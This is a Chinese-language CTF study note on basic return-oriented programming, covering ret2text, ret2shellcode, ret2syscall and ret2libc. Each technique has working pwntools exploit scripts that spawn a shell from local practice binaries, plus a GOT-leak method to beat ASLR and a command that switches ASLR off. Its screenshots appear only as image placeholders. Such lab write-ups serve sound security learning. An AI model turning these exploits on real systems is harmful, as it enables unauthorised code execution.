基本ROP

前言

在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP

什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

为什么要ROP

探究原因之前,我们先看一下什么是NX(DEP),NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
随着NX保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。
所以就有了各种绕过办法,rop就是一种。

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。
所谓gadgets就是以ret结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。之所以称之为ROP,是因为核心在于利用了指令集中的ret指令,改变了指令流的执行顺序。
ROP攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的gadgets以及相应gadgets的地址。
    如果gadgets每次的地址是不固定的,那我们就需要想办法动态获取对应的地址。

ret2text

原理

ret2text即控制程序执行程序本身已有的的代码(.text)
其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

顾名思义,ret2text(ret to text),也就是说我们的利用点在原文件中寻找相对应的代码即可(进程存在危险函数如system(“/bin”)或execv(“/bin/sh”)的片段,可以直接劫持返回地址到目标函数地址上。从而getshell。),控制程序执行程序本身已有的的代码(.text)

利用前提

开启了NX,栈上无法写入shellcode

shellcode包含system(“/bin/sh”)等,当NX保护开启,就表示题目给了你system(‘/bin/sh’),如果关闭,表示你需要自己去构造shellcode

示例

void test(){
system("/bin/sh");
}
int main(){
char buf[20];
gets(buf);
return 0;
}

检查一下文件保护
Pasted image 20250122110045保护全关
Pasted image 20250122111413
r代表main函数的栈底,紧接着就是返回地址,offset=0x8-(-0x20)=40
Pasted image 20250122110827
test函数,即后门函数地址为0x401132
Pasted image 20250122111722
写以下exp:

from pwn import *
p=process("./test")
offset=40

addr = 0x401132
payload=b'a'* offset + p64(addr)
p.sendline(payload)
p.interactive()

Pasted image 20250122123145
结果本地打不通,一开始以为是offset测量错误,于是去学习了测量变量溢出长度(cyclic),手动测出来还是40,最后猜测是地址问题,在ida中找到”/bin/sh”,修改addr为0x401136

最后了解到但如果操作系统是 Ubuntu 18.04 及之后的版本,就不得不考虑 栈对齐 的问题。

Pasted image 20250122122225

Pasted image 20250122123204
成功getshell

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码
一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

即程序中没有类似于system(“/bin/sh)后门函数,需要自己填充

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

利用关键

  • 程序存在溢出,并且还要能够控制返回地址
  • 程序运行时,shellcode所在的区域要拥有执行权限(NX保护关闭,bss段可执行)
  • 操作系统还需要关闭ASLR(地址空间布局随机化)保护。(或关闭PIE保护)

解题步骤

  • 先使用cyclic测试溢出点,构造初步的payload
  • 确定程序中的溢出位,看是否可在bss段传入数据
  • 使用GDB的vmmap查看bss段
  • 再将程序溢出到上一步用户提交的变量的地址

示例

ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example at master · ctf-wiki/ctf-challenges
运行
Pasted image 20250123130739
checksec
Pasted image 20250123130542
IDA打开
Pasted image 20250123130924
可以看到,无后门函数且存在基本的栈溢出漏洞,且将对应字符串复制到buf2处

可用readelf -S 文件名提供程序中各段的地址范围
Pasted image 20250123131052
buf2在bss段,动调看该bss段是否可执行
Pasted image 20250123131416
bss段在以下范围,无可执行权限(ubuntu24)
0x804a000 0x804b000 rw-p 1000 1000 /home/zechariah/桌面/pwn_learn/ret2shellcode

在较低版本的kali或linux中,则是
rwxp,具有可执行权限
接着用cyclic计算偏移为112
得到如下exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #生成并汇编shellcode
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

注意一下payload: shellcode.ljust(112, 'A') + p32(buf2_addr)
首先我们将payload输入到变量s也就是栈上,然后将main函数的返回地址覆盖为buf2_addr(需要此bss段可执行),之后main函数执行strncpy(buf2,&s,100u);(虽然shellcode被截断为100,但是被截断的内容只是A,并不影响shellcode的完整度),将内容复制到了buf2,由于main函数的返回地址被覆盖为shellcode的地址,因此在main函数执行完毕之后,ElP转向执行shellcode

bss段可执行时,可成功getshell

ret2syscall

利用原理

ret to syscall,就是调用系统函数以达到getshell的目的
在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供
了进程与操作系统之间的基本接口。
至于系统调用在其中充当什么角色,稍后再看,现在我们要做的是:让程序调用execve(“/bin/sh”,NULL,NULL)函数即可拿到shell

步骤

汇编层面调用shell

mov eax, 0xb
mov ebx, ["/bin/sh"] ;["/bin/sh"]表示存放字符串"/bin/sh"的地址
mov ecx, 0
mov edx, 0
int 0x80

调用此函数的具体的步骤是这样的:因为该程序是32位,所以:

  • eax 应该为 0xb
  • ebx应该指向/bin/sh的地址,其实执行sh的地址也可以
  • ecx应该为0
  • edx应该为0
  • 最后再执行int 0x80触发中断即可执行execve()获取shell
    系统在运行的时候会使用上面四个寄存器,所以那么上面内容我们可以写为int 0x80(eax,ebx,ecx,edx)。只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们再执行int0x80就可执行对应的系统调用。

    使用前提

  • 存在栈溢出

    如何控制这些寄存器的值?

    在我们最开始学习汇编函数的时候,我们最常用到的就是push,pop,ret指令,而这一次我们将使用pop和ret的组合来控制寄存器的值以及执行方向。

    例如:在一个栈上,假设栈顶的值为2,当我们pop eax,时,2就会存进eax寄存器。同样的,我们可以用同样的方法完成execve()函数参数的控制

pop eax #系统调用号载入,execve为0xb
pop ebx #/bin/shd的string
pop ecx #第二个参数,0
pop edx #第三个参数,0

这样寄存器的值可以控制了。然后使用gadgets让这一连串的pop命令顺序连接执行,最后使用的ret指令,进而控制程序执行流程。

简单的理解,gadgets就是程序中的小碎片,ret2syscall就是利用这些小碎片来拼成shell,使用int 0x80系统中断来执行execve(),从而达成控制系统的目的。

示例

ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall at master · ctf-wiki/ctf-challenges
运行
Pasted image 20250123185858
checksec
Pasted image 20250123185747
32位程序,开了NX保护
当NX保护开启,就表示题目给了你全部system('/bin/sh')或部分'/bin/sh',如果关闭,表示你需要自己去构造shellcode(ret2shellcode)
IDA
Pasted image 20250123190238
既然开了NX保护,我们就不能使用ret2shellcode,没有system函数,也无法使用ret2text,我们使用一种全新的方法:ret2syscall
从IDA可以看到:程序仍然使用了gets函数,存在栈溢出的条件。
很容易测得我们需要覆盖的返回地址相对于v4的偏移为112。此次,由于我们不能直接利用程序中的某一段代码或者自已填写代码来获得shell(开了NX保护,栈上的代码无法执行),所以我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。

在前面介绍过,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。比如说这里我们利用execve(“/bin/sh”,NULL,NULL)系统调用来获取shell。
其中,该程序是32位,所以我们需要使得

  • 系统调用号,即eax应该为0xb
  • 第一个参数,即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以。
  • 第二个参数,即ecx应该为0
  • 第三个参数,即edx应该为0
    而我们如何控制这些寄存器的值呢?这里就需要使用gadgets。具体寻找gadgets
    的方法,我们可以使用ropgadgets这个工具。
  • 首先,我们来寻找控制eax的gadgets:Pasted image 20250123193603
  • 寻找控制其他寄存器的gadgets:Pasted image 20250123193810
  • 获得/bin/sh字符串对应的地址Pasted image 20250123193957
  • 获得int 0x80的地址Pasted image 20250123194016

    编写exp

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

Pasted image 20250123194802

上图下方为高地址

ret2libc

利用思路

ret2libc这种攻击方式主要是针对动态链接(Dynamic linking) [[1-6 动态链接&PLT表&GOT表]]编译的程序,因为正常情况下是无法在程序中找到像system()、execve() 这种系统级函数。
因为程序是动态链接生成的,所以在程序运行时会调用libc.so程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间libc.so就是其中最基本的一个),libc.so是linux下C语言库中的运行库glibc的动态链接版,并且libc.so中包含了大量的可以利用的函数,包括system()、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行system(“/bin/sh”) 来打开shell,如此就只剩下两个问题:

1.找到system)函数的地址;
2.在内存中找到”/bin/sh”这个字符串的地址。

利用前提

r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制
(所以后续实验还是需要关闭系统的ASLR,以及堆栈保护)
比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。

技术原理

Pasted image 20250125141109

Saved EIP指保存call指令下一条指令的地址

1) 使用libc库中system函数的地址覆盖掉原本的返回地址;这样原函数返回的时候会转而调用system函数。获取system函数的返回地址很简单,只需要使用gdb调试目标程序,在main函数下断点,程序运行中断在断点处后,使用p system命令即可:

该方法可以获取任意libc函数的地址。
2) 设置system函数返回后的地址,以及为system函数构造我们预定的参数。

难点主要在第2步中system函数相关的栈帧结构的安排上,比如为什么Filler就是Return Address After system,为什么传递给system的参数紧跟在Fillter之后?这就涉及到函数的调用规则。我们知道函数调用在汇编中通过call指令实现,而函数返回则通过ret指令实现。Call指令可以实现多种方式的函数跳转,这里为了简便,暂且只考虑跳转地址在内存中的call指令的实现

CPU在执行call指令时需要进行两步操作:

  1. 将当前的IP(也就是函数返回地址)入栈,即:push IP;
  2. 跳转,即: jmp dword ptr 内存单元地址

CPU在执行ret指令时只需要恢复IP寄存器即可,因此ret指令相当于pop IP
因此对于正常函数调用而言,其栈帧结构如下图所示:
Pasted image 20250125141603
但是由于我们使用system的函数地址替换了原本的IP寄存器,强制执行system函数,破坏了原程序的栈帧分配和释放策略,所以后续的操作必须基于这个被破坏的栈帧结构实现。

为何Filler是函数的返回地址

这需要我们查看system函数的汇编实现。通过 gdb调试得到如下信息:
Pasted image 20250125141829
正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push IP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到 IP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是在我们的漏洞利用中,直接通过覆盖IP地址跳转到了system函数,而并没有经过call调用,也即是没有push IP的操作,但是system函数却照常进行了ret指令的pop IP操作。那么这个ret指令pop到IP的是哪一处地址的数据呢?答案就是Filler!
在程序执行到图中的Saved EIP(即system函数地址)的时候,此时的ESP指向了Filler,然后就转而执行system函数。通过分析system函数的汇编实现可以看出:该函数中对ESP的操作都是成对出现的,如push %ebxpop %ebx等。所以当执行到ret指令时,ESP还是指向Filler,也就是说ret指令内涵的pop IP操作就是将Filler的数据pop到IP寄存器中!

为何传递给system的参数紧跟在Filler之后

在正常的函数调用中,其栈帧分布如图1-2所示,但是在此漏洞利用中,由于我们强制更改了调用过程,省去了call调用的push IP步骤,因此就造成了Filler变成了EIP。但是,需要注意的是,我们也仅仅是省去了push IP这一步而已,其他步骤与正常函数调用并无区别,所以如果我们将Filler看做是保存的返回地址EIP的话,那么它“之后(相对栈增长方向而言)”的数据就自然而然变成了system函数的参数了。

示例1

记得关ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

```
```C
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

Pasted image 20250125143551
观察源代码,发现在vulnerable_function()函数中,buf只有128字节而 read()函数可以读256个字节造成了缓冲区溢出。因为现在开启了DEP防护,所以不能往栈里面写入shellcode了,通过前面对动态链接的学习知道动态链接的程序在运行时才会链接共享模块,用ldd命令查看程序需要的共享模块:
Pasted image 20250125143544
程序依赖的是 libc.so.6 这个共享模块,这个共享模块里面提供了大量可以利用的函数,我们的目的是执行 system(“/bin/sh”) 来打开shell,也就是说只要在 libc 中找到了 system() 函数和 “/bin/sh” 字符串的地址就可以控制返回地址打开shell。

这里忘关保护了,基址是错误的,exp中是正确的

1.找system()函数

因为关闭了 ASLR ,共享库的加载基址并不会发生改变,只要知道 system() 函数在共享库中的偏移就能够算出 system() 函数在内存中的地址。使用 objdump -T libc.so.6 命令就可以显示处所有的动态链接符号表。
objdump -T libc.so.6 |grep system
Pasted image 20250125143504
system()函数偏移为0x00050430,加上基址0xed4d2000,两者相加就是这个地址就是libc加载到内存空间后 system() 函数的真实地址。

2.查找 /bin/sh 字符串

Pasted image 20250125144229
同理可算出真实地址

3.覆盖返回地址

cyclic
offset为140

构造payload

返回地址处放置 system() 函数的地址使当函数运行完毕时跳转到 system() 函数处继续执行,函数的调用过程是先将参数入栈,接着保存返回地址,最后call system。system_ret_addr 是 system() 函数的地址,因为我们的目的就是打开shell,所以这个返回地址随便设置 一个值就可以。binsh_addr 放置的是参数 “/bin/sh” 字符串的地址

from pwn import *

#context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
debug = 1

if debug:
sh = process('./level1')

system_addr = 0x00050430 + 0xf7d70000
print(system_addr)
binsh_addr = 0x001c4de8 + 0xf7d70000
print(binsh_addr)
payload = b'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
def pwn(sh, payload):
sh.sendline(payload)
sh.interactive()

pwn(sh, payload)

示例2(bss段上写’/bin/sh’)

Pasted image 20250127121126
checksec,NX开启,不能往栈上写东西
Pasted image 20250127120758
Pasted image 20250127120731Pasted image 20250127121002

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080

payload = flat(
['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

payload解读:
首先使用112个A字符填充栈,使栈发生溢出,再用gets函数的plt地址来覆盖原返回地址,使程序流执行到gets函数,参数就是bss段的地址(bss段的变量),目的是为了使用gets函数将/bin/sh写入到bss段中。
接下来在使用system函数覆盖gets函数的返回地址,使程序执行到system函数,其参数也是bss段中的内容,也就是/bin/sh。
最后的sh.sendline(‘/bin/sh’)是为了将bss段上变量的内容替换成/bin/sh(也就是说在执行sendline(‘/bin/sh’)之前,bss段上的变量未被初始化,其内容为空)。
payload中第一个buf2是gets函数的参数,第二个是system的参数

注:程序的走向是由栈来决定的

示例3(无system地址和/bin/sh地址)

checksec,32位,NX开启,不能往栈上写东西
Pasted image 20250127122302
cyclic得到偏移量为112
现在当务之急就是得到system函数的地址,那么我们如何得到呢?这里就主要利用了两个知识点:

1.system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的
2.即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而libc在github上有人进行收集,如下[https://github.com/niklasb/libc-database]

也可以使用工具网站:[https://libc.blukat.me/],这个网址的数据库基于libc-database

只要得到libc的版本,可知道system函数和/bin/sh的偏移量。知道偏移量后,再找到libc的基地址,就可以得到system函数的真实地址,就可以做我们想要做的事情了,我们可以通过一个公式来得到system的真实地址。

libc基地址+函数偏移量=函数真实地址

可以泄露一个函数的真实地址,然后根据公式可以得到libc的基地址,因为知道了libc版本,就知道了函数偏移量。

我们该如何泄露函数的真实地址的,这里涉及到了libc的延迟绑定技术
要泄露函数的真实地址,一般的方法是采用got表泄露,因为只要之前执行过puts函数,got表里存放着就是函数的真实地址了,这里用的是puts函数,程序里已经运行过了puts函数,真实地址已经存放到了got表内。我们得到puts函数的got地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址给输出出来,这样就得到了puts函数的真实地址。

脚本如下

from pwn import *

p = process('./libc3')
elf = ELF('./libc3')

puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出

print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))

payload = b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数

p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print ("puts_addr = ",hex(puts_addr))

最后理一下思路

  1. 泄露puts函数的真实地址
  2. 得到libc的版本
  3. 得到system和puts和sh的偏移,计算libc基地址
  4. 计算system和sh的真实地址
  5. 构造payload为system(’/bin/sh’)
  6. 写exp

    Exp

    Pasted image 20250127174108

Pasted image 20250127174002

from pwn import *

p = process('./libc3')
elf = ELF('./libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))

payload = b'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)

p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print ("puts_addr = ",hex(puts_addr))
sys_offset = 0x0050430
sh_offset = 0x1c4de8
puts_offset = 0x78140
#根据公式 libc基地址 + 函数偏移量 = 函数真实地址 来计算
libc_base_addr = puts_addr-puts_offset#计算出libc基地址
print("puts_offset",hex(puts_addr-libc_base_addr))
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print ("libc_base_addr = ",hex(libc_base_addr))
print ("sys_addr = ",hex(sys_addr))
print ("sh_addr = ",hex(sh_addr))

payload = b'A'*112
payload += p32(sys_addr) #覆盖返回地址为system函数
payload += b"AAAA" #system的返回地址,随便输,因为之前调用了system('/bin/sh')
payload += p32(sh_addr) #system函数参数

p.sendline(payload)
p.interactive()

成功getshell